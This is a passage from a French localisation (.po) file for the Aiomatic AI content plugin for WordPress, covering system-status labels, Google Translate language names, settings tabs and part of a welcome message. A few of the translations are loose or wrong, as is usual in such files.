res/aiomatic-logs.php:131 msgid "The maximum amount of memory (RAM) that your site can use at one time." msgstr "" "La quantité maximale de mémoire (RAM) que votre site peut utilise en une " "fois." #: res/aiomatic-logs.php:137 #, php-format msgid "" "%1$s - We recommend setting memory to at least 64MB. To " "learn how, see: Increasing memory allocated to PHP." msgstr "" "%1$s - Nous recommandons de régler la mémoire sur au moins 64 Mo. Pour savoir comment faire, voir : Augmenter la mémoire allouée à PHP." #: res/aiomatic-logs.php:145 msgid "WP Debug Mode" msgstr "Mode débogage WP" #: res/aiomatic-logs.php:145 msgid "WP Debug Mode:" msgstr "WP Debug Mode :" #: res/aiomatic-logs.php:147 msgid "Displays whether or not WordPress is in Debug Mode." msgstr "Affiche si oui ou non WordPress est en mode débug." #: res/aiomatic-logs.php:158 res/aiomatic-logs.php:399 #: res/aiomatic-single-list.php:524 msgid "Language" msgstr "Langue" #: res/aiomatic-logs.php:158 msgid "Language:" msgstr "Langue :" #: res/aiomatic-logs.php:160 msgid "The current language used by WordPress. Default = English" msgstr "La langue par défaut utilisée par WordPress. Défaut = Anglais" #: res/aiomatic-logs.php:167 res/aiomatic-logs.php:171 msgid "Server Environment" msgstr "Environnement du serveur" #: res/aiomatic-logs.php:176 msgid "PHP Version" msgstr "Version PHP" #: res/aiomatic-logs.php:176 msgid "PHP Version:" msgstr "Version PHP :" #: res/aiomatic-logs.php:177 msgid "The version of PHP installed on your hosting server." msgstr "La version de PHP installée sur votre serveur d'hébergement." #: res/aiomatic-logs.php:185 msgid "PHP Post Max Size" msgstr "Taille maximale d’envoi PHP" #: res/aiomatic-logs.php:185 msgid "PHP Post Max Size:" msgstr "Taille maximale d’envoi PHP :" #: res/aiomatic-logs.php:186 msgid "The largest file size that can be contained in one post." msgstr "La plus grande taille de fichier qui peut être contenue dans un poste." #: res/aiomatic-logs.php:190 msgid "PHP Time Limit" msgstr "Limite d’exécution PHP" #: res/aiomatic-logs.php:190 msgid "PHP Time Limit:" msgstr "Limite d’exécution PHP:" #: res/aiomatic-logs.php:191 msgid "" "The amount of time (in seconds) that your site will spend on a single " "operation before timing out (to avoid server lockups)" msgstr "" "La durée (en secondes) que votre site passera sur une seule opération avant " "d'être hors délai (pour éviter les blocages serveur)" #: res/aiomatic-logs.php:196 res/aiomatic-logs.php:200 #, php-format msgid "" "%1$s - We recommend setting max execution time to at least 600.
                    To " "generate long articles, 1000 seconds of max execution time " "is recommended.
                    See: Increasing max execution to PHP" msgstr "" "%1$s - Nous recommandons de fixer le temps d'exécution maximal à au moins " "600.
                    Pour générer des articles longs, il est recommandé de fixer le " "temps d'exécution maximal à 1000 secondes.
                    Voir : Augmenter le " "temps d'exécution maximum à PHP" #: res/aiomatic-logs.php:207 msgid "PHP Max Input Vars" msgstr "PHP Max Input Vars" #: res/aiomatic-logs.php:207 msgid "PHP Max Input Vars (optional):" msgstr "PHP Max Input Vars (optionnel) :" #: res/aiomatic-logs.php:209 msgid "" "The maximum number of variables your server can use for a single function to " "avoid overloads. This is an optional settings, as the plugin can handle also " "cases when this is lower than the required value." msgstr "" "Le nombre maximum de variables que votre serveur peut utiliser pour une " "seule fonction afin d'éviter les surcharges. Il s'agit d'un paramètre " "optionnel, car le plugin peut également gérer les cas où cette valeur est " "inférieure à la valeur requise." #: res/aiomatic-logs.php:228 res/aiomatic-logs.php:263 #: res/aiomatic-logs.php:291 #, php-format msgid "" "%1$s - Recommended Value: %2$s.
                    Max input vars limitation will truncate " "POST data such as menus. See: Increasing max input vars limit." msgstr "" "%1$s - Valeur recommandée: %2$s.
                    La limite de nombre de variables " "tronquera les données POST, par exemple les menus. Voir: Augmenter la limite du nombre " "de variables." #: res/aiomatic-logs.php:236 msgid "SUHOSIN Installed" msgstr "SUHOSIN installé" #: res/aiomatic-logs.php:236 msgid "SUHOSIN Installed:" msgstr "SUHOSIN installé:" #: res/aiomatic-logs.php:237 msgid "" "Suhosin is an advanced protection system for PHP installations. It was " "designed to protect your servers on the one hand against a number of well " "known problems in PHP applications and on the other hand against potential " "unknown vulnerabilities within these applications or the PHP core itself.\n" "\t\tIf enabled on your server, Suhosin may need to be configured to increase " "its data submission limits." msgstr "" "Suhosin est un système avancé de protection des applications PHP. Elle a été " "conçue pour protéger vos serveurs d’une part contre certains problèmes bien " "connus des applications PHP et, d’autre part contre des vulnérabilités " "potentielles, encore inconnues, de ces applications ou du noyau PHP lui-" "même.\n" "\t\\Si elle est activée sur votre serveur, Suhosin peut être configurée pour " "augmenter ses limites d’examen des données." #: res/aiomatic-logs.php:243 msgid "Suhosin Post Max Vars" msgstr "Suhosin Post Max Vars" #: res/aiomatic-logs.php:243 msgid "Suhosin Post Max Vars:" msgstr "Variables maximale de post Suhosin:" #: res/aiomatic-logs.php:244 res/aiomatic-logs.php:272 msgid "" "The maximum number of variables your server can use for a single function to " "avoid overloads." msgstr "" "Le nombre maximum de variables que votre serveur peut utiliser pour une " "seule fonction pour éviter les surcharges." #: res/aiomatic-logs.php:271 msgid "Suhosin Request Max Vars" msgstr "Demande de Suhosin Max Vars" #: res/aiomatic-logs.php:271 msgid "Suhosin Request Max Vars:" msgstr "Suhosin Demander Max Vars:" #: res/aiomatic-logs.php:299 msgid "Suhosin Post Max Value Length" msgstr "Suhosin Post Valeur maximale Longueur" #: res/aiomatic-logs.php:299 msgid "Suhosin Post Max Value Length:" msgstr "Suhosin Poster Valeur Longueur max:" #: res/aiomatic-logs.php:300 msgid "" "Defines the maximum length of a variable that is registered through a POST " "request." msgstr "" "Définit la longueur maximale d'une variable qui est enregistré par le biais " "d'une requête POST." #: res/aiomatic-logs.php:305 #, php-format msgid "" "%1$s - Recommended Value: %2$s.
                    Post Max Value Length limitation may " "prohibit the Theme Options data from being saved to your database. See: Suhosin " "Configuration Info." msgstr "" "%s - Valeur recommandée:%s.
                    \"Post Valeur Longueur Max limitation\" " "peut interdire l'enregistrement des données Optionnelles du Thème dans votre " "base de données. Voir: Informations de configuration de Suhosin ." #: res/aiomatic-logs.php:313 msgid "MySQL Version" msgstr "Version MySQL" #: res/aiomatic-logs.php:313 msgid "MySQL Version:" msgstr "Version MySQL:" #: res/aiomatic-logs.php:314 msgid "The version of MySQL installed on your hosting server." msgstr "La version de MySQL installée sur votre serveur d'hébergement." #: res/aiomatic-logs.php:320 msgid "WP Max Upload Size" msgstr "Taille maximale de mise en ligne WordPress" #: res/aiomatic-logs.php:320 msgid "WP Max Upload Size:" msgstr "Taille maximale de téléchargements PHP :" #: res/aiomatic-logs.php:321 msgid "" "The largest file size that can be uploaded to your WordPress installation." msgstr "" "La taille maximale d'un fichier pouvant être téléversésur votre site " "WordPress." #: res/aiomatic-logs.php:325 msgid "DOMDocument" msgstr "DOMDocument" #: res/aiomatic-logs.php:325 msgid "DOMDocument:" msgstr "DOMDocument:" #: res/aiomatic-logs.php:326 msgid "" "DOMDocument is required for the Fusion Builder plugin to properly function." msgstr "" "DOMDocument est nécessaire pour le plugin Fusion Builder pour fonctionner " "correctement." #: res/aiomatic-logs.php:330 msgid "GD Library" msgstr "Librairie GD" #: res/aiomatic-logs.php:330 msgid "GD Library:" msgstr "Librairie GD :" #: res/aiomatic-logs.php:331 msgid "" "Aiomatic uses this library to resize images and speed up your site's loading " "time" msgstr "" "Aiomatic utilise cette bibliothèque pour redimensionner les images et " "accélérer le temps de chargement de votre site" #: res/aiomatic-logs.php:334 msgid "Not Installed" msgstr "Non installé" #: res/aiomatic-logs.php:336 msgid "Installed" msgstr "Installé" #: res/aiomatic-logs.php:348 msgid "More Info" msgstr "Plus d'infos" #: res/aiomatic-logs.php:359 msgid "MySQL Detailed version" msgstr "Version détaillée de MySQL" #: res/aiomatic-logs.php:364 msgid "cURL version" msgstr "version de cURL" #: res/aiomatic-logs.php:369 msgid "cURL SSL version" msgstr "Version cURL SSL" #: res/aiomatic-logs.php:374 msgid "WP-Cron url" msgstr "URL WP-Cron" #: res/aiomatic-logs.php:379 msgid "Document root" msgstr "Dossier racine" #: res/aiomatic-logs.php:384 msgid "SERVER" msgstr "SERVEUR" #: res/aiomatic-logs.php:389 msgid "Operating System" msgstr "Système d'exploitation" #: res/aiomatic-logs.php:394 msgid "Maximum execution time" msgstr "Temps d’exécution maximum" #: res/aiomatic-logs.php:395 #, php-format msgid "%s seconds" msgstr "%s secondes" #: res/aiomatic-logs.php:404 msgid "MySQL Client encoding" msgstr "Codage du client MySQL" #: res/aiomatic-logs.php:409 msgid "PHP Max Upload Size" msgstr "Taille maximale de téléchargement PHP" #: res/aiomatic-logs.php:414 msgid "Remote Post" msgstr "Remote Post" #: res/aiomatic-logs.php:419 msgid "Remote Get" msgstr "Remote Get" #: res/aiomatic-logs.php:426 msgid "Is CRON running" msgstr "CRON est-il en cours d'exécution" #: res/aiomatic-logs.php:432 msgid "Loaded PHP Extensions" msgstr "Extensions PHP chargées" #: res/aiomatic-logs.php:436 msgid "Required PHP Extensions" msgstr "Extensions PHP requises" #: res/aiomatic-logs.php:445 msgid "System Information" msgstr "Informations système" #: res/aiomatic-logs.php:448 msgid "Setting" msgstr "Paramètre" #: res/aiomatic-logs.php:449 msgid "Value" msgstr "Valeur" #: res/aiomatic-logs.php:464 res/aiomatic-logs.php:468 msgid "Active Plugins" msgstr "Extensions actives" #: res/aiomatic-logs.php:487 msgid "Visit plugin homepage" msgstr "Visiter la page de l'extension" #: res/aiomatic-logs.php:493 #, php-format msgid "by %s" msgstr "par %s" #: res/aiomatic-logs.php:507 msgid "Rules Currently Running:" msgstr "Règles en cours d’exécution :" #: res/aiomatic-logs.php:511 msgid "These rules are currently running on your server." msgstr "Ces règles sont actuellement en cours d'exécution sur votre serveur." #: res/aiomatic-logs.php:543 msgid "No rules are running right now" msgstr "Aucune règle n’est en cours d’exécution pour le moment" #: res/aiomatic-logs.php:548 msgid "Are you sure you want to clear the running list?" msgstr "Êtes-vous sûr de vouloir effacer la liste en cours ?" #: res/aiomatic-logs.php:549 msgid "Caution! This is for debugging purpose only!" msgstr "Attention ! Ceci est uniquement à des fins de débogage !" #: res/aiomatic-logs.php:549 msgid "Clear Running Rules List" msgstr "Effacer la liste des règles en Exécution" #: res/aiomatic-logs.php:556 res/aiomatic-logs.php:566 msgid "Restore Plugin Default Settings" msgstr "Restaurer les paramètres du plugin par défaut" #: res/aiomatic-logs.php:560 msgid "" "Hit this button and the plugin settings will be restored to their default " "values. Warning! All settings will be lost!" msgstr "" "Cliquez sur ce bouton et les paramètres du plugin seront restaurés à leurs " "valeurs par défaut. Attention ! Tous les paramètres seront perdus !" #: res/aiomatic-logs.php:566 msgid "Are you sure you want to restore the default plugin settings?" msgstr "" "Êtes-vous sûr de vouloir restaurer les paramètres par défaut du plugin ?" #: res/aiomatic-logs.php:572 msgid "Delete All Posts Generated by this Plugin:" msgstr "Supprimer tous les Articles générés par ce plugin :" #: res/aiomatic-logs.php:576 msgid "Hit this button and all posts generated by this plugin will be deleted!" msgstr "" "Appuyez sur ce bouton et tous les messages générés par ce plugin seront " "supprimés !" #: res/aiomatic-logs.php:582 msgid "" "Are you sure you want to delete all generated posts? This can take a while, " "please wait until it finishes." msgstr "" "Êtes-vous sûr de vouloir supprimer tous les messages générés ? Cette " "opération peut prendre un certain temps, veuillez patienter jusqu'à ce " "qu'elle soit terminée." #: res/aiomatic-logs.php:582 msgid "Delete All Generated Posts" msgstr "Supprimer tous les articles générés" #: res/aiomatic-logs.php:589 msgid "Activity Log:" msgstr "Journal d'activité :" #: res/aiomatic-logs.php:593 msgid "" "This is the main log of your plugin. Here will be listed every single " "instance of the rules you run or are automatically run by schedule jobs (if " "you enable logging, in the plugin configuration)." msgstr "" "Il s'agit du journal principal de votre plugin. Ici seront listées toutes " "les instances des règles que vous exécutez ou qui sont automatiquement " "exécutées par les tâches de planification (si vous activez la " "journalisation, dans la configuration du plugin)." #: res/aiomatic-logs.php:599 msgid "Are you sure you want to delete all logs?" msgstr "Êtes-vous sûr de vouloir supprimer tous les journaux ?" #: res/aiomatic-logs.php:600 msgid "Delete Logs" msgstr "Supprimer le journal" #: res/aiomatic-logs.php:612 msgid "Log empty" msgstr "Journal vide" #: res/aiomatic-main.php:7 msgid "Afrikaans (Google Translate)" msgstr "Afrikaans (Google Traduction)" #: res/aiomatic-main.php:8 msgid "Albanian (Google Translate)" msgstr "Albanais (Google Traduction)" #: res/aiomatic-main.php:9 msgid "Arabic (Google Translate)" msgstr "Arabe (Google Traduction)" #: res/aiomatic-main.php:10 msgid "Amharic (Google Translate)" msgstr "Amharic (Google Traduction)" #: res/aiomatic-main.php:11 msgid "Armenian (Google Translate)" msgstr "Arménien (Google Traduction)" #: res/aiomatic-main.php:12 msgid "Belarusian (Google Translate)" msgstr "Biélorusse (Google Traduction)" #: res/aiomatic-main.php:13 msgid "Bulgarian (Google Translate)" msgstr "Bulgare (Google Traduction)" #: res/aiomatic-main.php:14 msgid "Catalan (Google Translate)" msgstr "Catalan (Google Traduction)" #: res/aiomatic-main.php:15 msgid "Chinese Simplified (Google Translate)" msgstr "Chinois simplifié (Google Traduction)" #: res/aiomatic-main.php:16 msgid "Croatian (Google Translate)" msgstr "Croate (Google Traduction)" #: res/aiomatic-main.php:17 msgid "Czech (Google Translate)" msgstr "Tchèque (Google Traduction)" #: res/aiomatic-main.php:18 msgid "Danish (Google Translate)" msgstr "Danois (Google Traduction)" #: res/aiomatic-main.php:19 msgid "Dutch (Google Translate)" msgstr "Néerlandais (Google Traduction)" #: res/aiomatic-main.php:20 msgid "English (Google Translate)" msgstr "Français (Google Traduction)" #: res/aiomatic-main.php:21 msgid "Estonian (Google Translate)" msgstr "Estonien (Google Traduction)" #: res/aiomatic-main.php:22 msgid "Filipino (Google Translate)" msgstr "Philippin (Google Traduction)" #: res/aiomatic-main.php:23 msgid "Finnish (Google Translate)" msgstr "Finnois (Google Traduction)" #: res/aiomatic-main.php:24 msgid "French (Google Translate)" msgstr "Français (Google Traduction)" #: res/aiomatic-main.php:25 msgid "Galician (Google Translate)" msgstr "Galicien (Google Traduction)" #: res/aiomatic-main.php:26 msgid "German (Google Translate)" msgstr "Allemand (Google Traduction)" #: res/aiomatic-main.php:27 msgid "Greek (Google Translate)" msgstr "Grec (Google Traduction)" #: res/aiomatic-main.php:28 msgid "Hebrew (Google Translate)" msgstr "Hébreu (Google Traduction)" #: res/aiomatic-main.php:29 msgid "Hindi (Google Translate)" msgstr "Hindi (Google Traduction)" #: res/aiomatic-main.php:30 msgid "Hungarian (Google Translate)" msgstr "Hongrois (Google Traduction)" #: res/aiomatic-main.php:31 msgid "Icelandic (Google Translate)" msgstr "Islandais (Google Traduction)" #: res/aiomatic-main.php:32 msgid "Indonesian (Google Translate)" msgstr "Indonésien (Google Traduction)" #: res/aiomatic-main.php:33 msgid "Irish (Google Translate)" msgstr "Irlandais (Google Traduction)" #: res/aiomatic-main.php:34 msgid "Italian (Google Translate)" msgstr "Italien (Google Traduction)" #: res/aiomatic-main.php:35 msgid "Japanese (Google Translate)" msgstr "Japonais (Google Traduction)" #: res/aiomatic-main.php:36 msgid "Korean (Google Translate)" msgstr "Coréen (Google Traduction)" #: res/aiomatic-main.php:37 msgid "Latvian (Google Translate)" msgstr "Letton (Google Traduction)" #: res/aiomatic-main.php:38 msgid "Lithuanian (Google Translate)" msgstr "Lituanien (Google Traduction)" #: res/aiomatic-main.php:39 msgid "Norwegian (Google Translate)" msgstr "Norvégien (Google Traduction)" #: res/aiomatic-main.php:40 msgid "Macedonian (Google Translate)" msgstr "Macédonien (Google Traduction)" #: res/aiomatic-main.php:41 msgid "Malay (Google Translate)" msgstr "Malais (Google Traduction)" #: res/aiomatic-main.php:42 msgid "Maltese (Google Translate)" msgstr "Maltais (Google Traduction)" #: res/aiomatic-main.php:43 msgid "Persian (Google Translate)" msgstr "Persan (Google Traduction)" #: res/aiomatic-main.php:44 msgid "Polish (Google Translate)" msgstr "Polonais (Google Traduction)" #: res/aiomatic-main.php:45 msgid "Portuguese (Google Translate)" msgstr "Portugais (Google Traduction)" #: res/aiomatic-main.php:46 msgid "Romanian (Google Translate)" msgstr "Roumain (Google Traduction)" #: res/aiomatic-main.php:47 msgid "Russian (Google Translate)" msgstr "Russe (Google Traduction)" #: res/aiomatic-main.php:48 msgid "Serbian (Google Translate)" msgstr "Serbe (Google Traduction)" #: res/aiomatic-main.php:49 msgid "Slovak (Google Translate)" msgstr "Slovaque (Google Traduction)" #: res/aiomatic-main.php:50 msgid "Slovenian (Google Translate)" msgstr "Slovène (Google Traduction)" #: res/aiomatic-main.php:51 msgid "Spanish (Google Translate)" msgstr "Espagnol (Google Traduction)" #: res/aiomatic-main.php:52 res/aiomatic-main.php:106 msgid "Swahili (Google Translate)" msgstr "Swahili (Google Traduction)" #: res/aiomatic-main.php:53 msgid "Swedish (Google Translate)" msgstr "Suédois (Google Traduction)" #: res/aiomatic-main.php:54 msgid "Thai (Google Translate)" msgstr "Thaï (Google Traduction)" #: res/aiomatic-main.php:55 msgid "Turkish (Google Translate)" msgstr "Turc (Google Traduction)" #: res/aiomatic-main.php:56 msgid "Ukrainian (Google Translate)" msgstr "Ukrainien (Google Traduction)" #: res/aiomatic-main.php:57 msgid "Vietnamese (Google Translate)" msgstr "Vietnamien (Google Traduction)" #: res/aiomatic-main.php:58 msgid "Welsh (Google Translate)" msgstr "Welsh (Google Traduction)" #: res/aiomatic-main.php:59 msgid "Yiddish (Google Translate)" msgstr "Yiddish (Google Traduction)" #: res/aiomatic-main.php:60 msgid "Tamil (Google Translate)" msgstr "Tamoul (Google Traduction)" #: res/aiomatic-main.php:61 msgid "Azerbaijani (Google Translate)" msgstr "Azerbaïdjanais (Google Traduction)" #: res/aiomatic-main.php:62 msgid "Kannada (Google Translate)" msgstr "Kannada (Google Traduction)" #: res/aiomatic-main.php:63 msgid "Basque (Google Translate)" msgstr "Basque (Google Traduction)" #: res/aiomatic-main.php:64 msgid "Bengali (Google Translate)" msgstr "Bengali (Google Traduction)" #: res/aiomatic-main.php:65 msgid "Latin (Google Translate)" msgstr "Latin (Google Traduction)" #: res/aiomatic-main.php:66 msgid "Chinese Traditional (Google Translate)" msgstr "Chinois traditionnel (Google Traduction)" #: res/aiomatic-main.php:67 msgid "Esperanto (Google Translate)" msgstr "Espéranto (Google Traduction)" #: res/aiomatic-main.php:68 msgid "Georgian (Google Translate)" msgstr "Géorgien (Google Traduction)" #: res/aiomatic-main.php:69 msgid "Telugu (Google Translate)" msgstr "Telugu (Google Traduction)" #: res/aiomatic-main.php:70 msgid "Gujarati (Google Translate)" msgstr "Gujarati (Google Traduction)" #: res/aiomatic-main.php:71 msgid "Haitian Creole (Google Translate)" msgstr "Créole haïtien (Google Traduction)" #: res/aiomatic-main.php:72 msgid "Urdu (Google Translate)" msgstr "Ourdou (Google Traduction)" #: res/aiomatic-main.php:73 msgid "Burmese (Google Translate)" msgstr "Birman (Google Traduction)" #: res/aiomatic-main.php:74 msgid "Bosnian (Google Translate)" msgstr "Bosnien (Google Traduction)" #: res/aiomatic-main.php:75 msgid "Cebuano (Google Translate)" msgstr "Cebuano (Google Traduction)" #: res/aiomatic-main.php:76 msgid "Chichewa (Google Translate)" msgstr "Chichewa (Google Traduction)" #: res/aiomatic-main.php:77 msgid "Corsican (Google Translate)" msgstr "Corse (Google Traduction)" #: res/aiomatic-main.php:78 msgid "Frisian (Google Translate)" msgstr "Frison (Google Traduction)" #: res/aiomatic-main.php:79 msgid "Scottish Gaelic (Google Translate)" msgstr "Gaélique écossais (Google Traduction)" #: res/aiomatic-main.php:80 msgid "Hausa (Google Translate)" msgstr "Haoussa (Google Traduction)" #: res/aiomatic-main.php:81 msgid "Hawaian (Google Translate)" msgstr "Hawaïen (Google Traduction)" #: res/aiomatic-main.php:82 msgid "Hmong (Google Translate)" msgstr "Hmong (Google Traduction)" #: res/aiomatic-main.php:83 msgid "Igbo (Google Translate)" msgstr "Igbo (Google Traduction)" #: res/aiomatic-main.php:84 msgid "Javanese (Google Translate)" msgstr "Javanais (Google Traduction)" #: res/aiomatic-main.php:85 msgid "Kazakh (Google Translate)" msgstr "Kazakh (Google Traduction)" #: res/aiomatic-main.php:86 msgid "Khmer (Google Translate)" msgstr "Khmer (Google Traduction)" #: res/aiomatic-main.php:87 msgid "Kurdish (Google Translate)" msgstr "Kurde (Google Traduction)" #: res/aiomatic-main.php:88 msgid "Kyrgyz (Google Translate)" msgstr "Kirghize (Google Traduction)" #: res/aiomatic-main.php:89 msgid "Lao (Google Translate)" msgstr "Laotien (Google Traduction)" #: res/aiomatic-main.php:90 msgid "Luxembourgish (Google Translate)" msgstr "Luxembourgeois (Google Traduction)" #: res/aiomatic-main.php:91 msgid "Malagasy (Google Translate)" msgstr "Malgache (Google Traduction)" #: res/aiomatic-main.php:92 msgid "Malayalam (Google Translate)" msgstr "Malayalam (Google Traduction)" #: res/aiomatic-main.php:93 msgid "Maori (Google Translate)" msgstr "Maori (Google Traduction)" #: res/aiomatic-main.php:94 msgid "Marathi (Google Translate)" msgstr "Marathi (Google Traduction)" #: res/aiomatic-main.php:95 msgid "Mongolian (Google Translate)" msgstr "Mongol (Google Traduction)" #: res/aiomatic-main.php:96 msgid "Nepali (Google Translate)" msgstr "Népalais (Google Traduction)" #: res/aiomatic-main.php:97 msgid "Pashto (Google Translate)" msgstr "Pashto (Google Traduction)" #: res/aiomatic-main.php:98 msgid "Punjabi (Google Translate)" msgstr "Pendjabi (Google Traduction)" #: res/aiomatic-main.php:99 msgid "Samoan (Google Translate)" msgstr "Samoan (Google Traduction)" #: res/aiomatic-main.php:100 msgid "Sesotho (Google Translate)" msgstr "Sesotho (Google Traduction)" #: res/aiomatic-main.php:101 msgid "Shona (Google Translate)" msgstr "Shona (Google Traduction)" #: res/aiomatic-main.php:102 msgid "Sindhi (Google Translate)" msgstr "Sindhi (Google Traduction)" #: res/aiomatic-main.php:103 msgid "Sinhala (Google Translate)" msgstr "Cinghalais (Google Traduction)" #: res/aiomatic-main.php:104 msgid "Somali (Google Translate)" msgstr "Somali (Google Traduction)" #: res/aiomatic-main.php:105 msgid "Sundanese (Google Translate)" msgstr "Sundanais (Google Traduction)" #: res/aiomatic-main.php:107 msgid "Tajik (Google Translate)" msgstr "Tadjik (Google Traduction)" #: res/aiomatic-main.php:108 msgid "Uzbek (Google Translate)" msgstr "Ouzbek (Google Traduction)" #: res/aiomatic-main.php:109 msgid "Xhosa (Google Translate)" msgstr "Xhosa (Google Traduction)" #: res/aiomatic-main.php:110 msgid "Yoruba (Google Translate)" msgstr "Yoruba (Google Traduction)" #: res/aiomatic-main.php:111 msgid "Zulu (Google Translate)" msgstr "Zulu (Google Traduction)" #: res/aiomatic-main.php:113 msgid "Assammese (Google Translate)" msgstr "Assammese (Google Traduction)" #: res/aiomatic-main.php:114 msgid "Aymara (Google Translate)" msgstr "Aymara (Google Traduction)" #: res/aiomatic-main.php:115 msgid "Bambara (Google Translate)" msgstr "Bambara (Google Traduction)" #: res/aiomatic-main.php:116 msgid "Bhojpuri (Google Translate)" msgstr "Bhojpuri (Google Traduction)" #: res/aiomatic-main.php:117 msgid "Dhivehi (Google Translate)" msgstr "Dhivehi (Google Traduction)" #: res/aiomatic-main.php:118 msgid "Dogri (Google Translate)" msgstr "Dogri (Google Traduction)" #: res/aiomatic-main.php:119 msgid "Ewe (Google Translate)" msgstr "Brebis (Google Traduction)" #: res/aiomatic-main.php:120 msgid "Guarani (Google Translate)" msgstr "Guarani (Google Traduction)" #: res/aiomatic-main.php:121 msgid "Ilocano (Google Translate)" msgstr "Ilocano (Google Traduction)" #: res/aiomatic-main.php:122 msgid "Kinyarwanda (Google Translate)" msgstr "Kinyarwanda (Google Traduction)" #: res/aiomatic-main.php:123 msgid "Konkani (Google Translate)" msgstr "Konkani (Google Traduction)" #: res/aiomatic-main.php:124 msgid "Krio (Google Translate)" msgstr "Krio (Google Traduction)" #: res/aiomatic-main.php:125 msgid "Kurdish - Sorani (Google Translate)" msgstr "Kurde - Sorani (Google Traduction)" #: res/aiomatic-main.php:126 msgid "Lingala (Google Translate)" msgstr "Lingala (Google Traduction)" #: res/aiomatic-main.php:127 msgid "Luganda (Google Translate)" msgstr "Luganda (Google Traduction)" #: res/aiomatic-main.php:128 msgid "Maithili (Google Translate)" msgstr "Maithili (Google Traduction)" #: res/aiomatic-main.php:129 msgid "Meiteilon (Google Translate)" msgstr "Meiteilon (Google Traduction)" #: res/aiomatic-main.php:130 msgid "Mizo (Google Translate)" msgstr "Mizo (Google Traduction)" #: res/aiomatic-main.php:131 msgid "Odia (Google Translate)" msgstr "Odia (Google Traduction)" #: res/aiomatic-main.php:132 msgid "Oromo (Google Translate)" msgstr "Oromo (Google Traduction)" #: res/aiomatic-main.php:133 msgid "Quechua (Google Translate)" msgstr "Quechua (Google Traduction)" #: res/aiomatic-main.php:134 msgid "Sanskrit (Google Translate)" msgstr "Sanskrit (Google Traduction)" #: res/aiomatic-main.php:135 msgid "Sepedi (Google Translate)" msgstr "Sepedi (Google Traduction)" #: res/aiomatic-main.php:136 msgid "Tatar (Google Translate)" msgstr "Tatar (Google Traduction)" #: res/aiomatic-main.php:137 msgid "Tigrinya (Google Translate)" msgstr "Tigrinya (Google Traduction)" #: res/aiomatic-main.php:138 msgid "Tsonga (Google Translate)" msgstr "Tsonga (Google Traduction)" #: res/aiomatic-main.php:139 msgid "Turkmen (Google Translate)" msgstr "Turkmène (Google Traduction)" #: res/aiomatic-main.php:140 msgid "Twi (Google Translate)" msgstr "Twi (Google Traduction)" #: res/aiomatic-main.php:141 msgid "Uyghur (Google Translate)" msgstr "Ouïghour (Google Traduction)" #: res/aiomatic-main.php:581 msgid "Welcome" msgstr "Bienvenue" #: res/aiomatic-main.php:582 msgid "Plugin Activation" msgstr "Activation de l'extension" #: res/aiomatic-main.php:583 msgid "API Keys" msgstr "Clés API" #: res/aiomatic-main.php:584 msgid "Stability.AI API" msgstr "Stability.IA API" #: res/aiomatic-main.php:585 msgid "AI Images" msgstr "Images IA" #: res/aiomatic-main.php:586 msgid "Royalty Free Images" msgstr "Images libres de droits" #: res/aiomatic-main.php:587 msgid "Statistics" msgstr "Statistiques" #: res/aiomatic-main.php:588 msgid "Fine-Tuning" msgstr "Réglages des suffixes" #: res/aiomatic-main.php:590 msgid "AI Internet Access" msgstr "Accès à l'internet de l'IA" #: res/aiomatic-main.php:591 msgid "Spin & Translate" msgstr "Spin / Rotation & Traduire" #: res/aiomatic-main.php:592 msgid "General Settings" msgstr "Réglages généraux" #: res/aiomatic-main.php:593 msgid "Random Sentence Generator" msgstr "Générateur de phrases aléatoires" #: res/aiomatic-main.php:594 msgid "Custom HTML" msgstr "HTML personnalisé" #: res/aiomatic-main.php:595 msgid "Keyword Replacer" msgstr "Remplacement de mots-clé" #: res/aiomatic-main.php:596 res/aiomatic-more.php:15 msgid "[aicontent] Shortcode" msgstr "[aicontent] Shortcode / Code court" #: res/aiomatic-main.php:597 res/aiomatic-main.php:3758 #: res/aiomatic-main.php:4121 res/aiomatic-more.php:12 msgid "AI Assistant" msgstr "Assistant de l'IA" #: res/aiomatic-main.php:598 res/aiomatic-main.php:3764 #: res/aiomatic-main.php:4127 msgid "AI Forms" msgstr "Formulaires IA" #: res/aiomatic-main.php:599 msgid "Bulk Post Creator" msgstr "Créateur d'articles en vrac" #: res/aiomatic-main.php:600 msgid "AI Comment Writer" msgstr "Rédacteur de commentaires sur l'IA" #: res/aiomatic-main.php:601 msgid "Taxonomy Description Writer" msgstr "Rédacteur de la description de la taxonomie" #: res/aiomatic-main.php:1482 res/aiomatic-spinner-list.php:546 msgid "Plugin registration failed!" msgstr "L'enregistrement du plugin a échoué !" #: res/aiomatic-main.php:1491 res/aiomatic-spinner-list.php:555 msgid "Plugin registration successful!" msgstr "Enregistrement du plugin réussi !" #: res/aiomatic-main.php:1509 msgid "Welcome to the Aiomatic plugin!" msgstr "Bienvenue sur le plugin Aiomatic !" #: res/aiomatic-main.php:1510 msgid "Hello, my name is" msgstr "Bonjour, je m'appelle" #: res/aiomatic-main.php:1510 msgid "I am the developer of the" msgstr "Je suis le développeur de" #: res/aiomatic-main.php:1510 msgid "plugin" msgstr "extension" #: res/aiomatic-main.php:1510 msgid "I am really excited to have you on board as a user!" msgstr "Je suis très heureux de vous compter parmi les utilisateurs !" #: res/aiomatic-main.php:1512 msgid "" "Aiomatic is a powerful tool that can help you generate high-quality, AI-" "created content for your WordPress site. Whether you're a blogger, marketer, " "or simply looking to automate your content creation process, Aiomatic has " "everything you need to get started." msgstr "" "Aiomatic est un outil puissant qui peut vous aider à générer du contenu de " "haute qualité créé par l'IA pour votre site WordPress. Que vous soyez un " "blogueur, un spécialiste du marketing ou que vous cherchiez simplement à " "automatiser votre processus de création de contenu, Aiomatic a tout ce qu'il " "faut pour vous aider à démarrer." #: res/aiomatic-main.php:1514 msgid "" "If you're looking to edit existing or newly published posts, Aiomatic also " "offers AI content editors and AI-generated featured images to help " "streamline the process. And with advanced features like AI model fine-" "tuning, AI embeddings, and usage statistics, you can take your content " "creation to the next level and produce high-quality, engaging posts in no " "time." msgstr "" "Si vous souhaitez modifier des articles existants ou nouvellement publiés, " "Aiomatic propose également des éditeurs de contenu IA et des images vedettes " "générées par l'IA pour rationaliser le processus. Et grâce à des " "fonctionnalités avancées telles que l'affinage du modèle d'IA, l'intégration " "de l'IA et les statistiques d'utilisation, vous pouvez faire passer votre " "création de contenu au niveau supérieur et produire des articles de haute " "qualité et attrayants en un rien de temps." #: res/aiomatic-main.php:1516 msgid "Getting started?" msgstr "Commencer ?" #: res/aiomatic-main.php:1517 msgid "" "To begin using the plugin, click on the 'Plugin Activation' tab from above " "and register your Envato purchase code. This will allow you to benefit of " "the full feature set of this plugin. To learn how to find your purchase code " "for the plugin, 